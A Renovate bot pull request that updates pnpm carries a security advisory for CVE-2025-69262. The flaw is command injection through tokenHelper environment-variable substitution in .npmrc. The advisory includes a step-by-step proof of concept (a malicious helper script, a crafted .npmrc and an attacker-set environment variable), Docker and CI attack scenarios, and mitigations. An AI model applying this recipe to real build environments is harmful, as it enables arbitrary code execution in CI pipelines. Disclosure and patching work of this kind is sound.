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@renovate renovate bot commented Jan 7, 2026

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 10.26.210.27.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-69262

Summary

A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.

Affected Components

  • Package: pnpm
  • Versions: All versions using @pnpm/config.env-replace and loadToken functionality
  • File: pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts - loadToken() function
  • File: pnpm/config/config/src/readLocalConfig.ts - .npmrc environment variable substitution

Technical Details

Vulnerability Chain

  1. Environment Variable Substitution

    • .npmrc supports ${VAR} syntax
    • Substitution occurs in readLocalConfig()
  2. loadToken Execution

    • Uses spawnSync(helperPath, { shell: true })
    • Only validates absolute path existence
  3. Attack Flow

.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
   ↓
envReplace() → /tmp/evil-helper.sh
   ↓
loadToken() → spawnSync(..., { shell: true })
   ↓
RCE achieved

Code Evidence

pnpm/config/config/src/readLocalConfig.ts:17-18

key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)

pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71

export function loadToken(helperPath: string, settingName: string): string {
  if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
    throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
  }
  const spawnResult = spawnSync(helperPath, { shell: true })
  // ...
}

Proof of Concept

Prerequisites

  • Private npm registry access
  • Control over environment variables
  • Ability to place scripts in filesystem

PoC Steps

# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'

#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh

# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF

# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh

# 4. Trigger pnpm install
pnpm install  # RCE occurs during auth

# 5. Verify attack
cat /tmp/rce-log.txt

PoC Results

==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed

Impact

Severity

  • CVSS Score: 9.1 (Critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Environments

High Risk:

  • CI/CD pipelines (GitHub Actions, GitLab CI)
  • Docker build environments
  • Kubernetes deployments
  • Private registry users

Low Risk:

  • Public registry only
  • Production runtime (no pnpm execution)
  • Static sites

Attack Scenarios

Scenario 1: CI/CD Supply Chain

Repository → Build Trigger → pnpm install → RCE → Production Deploy

Scenario 2: Docker Build

FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install  # RCE

Scenario 3: Kubernetes

Secret Control → Env Variable → .npmrc Substitution → RCE

Mitigation

Temporary Workarounds

Disable tokenHelper:

# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}

Use direct tokens:

//registry.npmjs.org/:_authToken=YOUR_TOKEN

Audit environment variables:

  • Review CI/CD env vars
  • Restrict .npmrc changes
  • Monitor build logs

Recommended Fixes

  1. Remove shell: true from loadToken
  2. Implement helper path allowlist
  3. Validate substituted paths
  4. Consider sandboxing

Disclosure

  • Discovery: 2025-11-02
  • PoC: 2025-11-02
  • Report: [Pending disclosure decision]

References

Credit

Reported by: Jiyong Yang
Contact: sy2n0@​naver.com


Release Notes

pnpm/pnpm (pnpm)

v10.27.0

Compare Source


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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) January 7, 2026 21:33
@renovate renovate bot merged commit 3a4c210 into main Jan 7, 2026
3 checks passed
@renovate renovate bot deleted the renovate/npm-pnpm-vulnerability branch January 7, 2026 21:34
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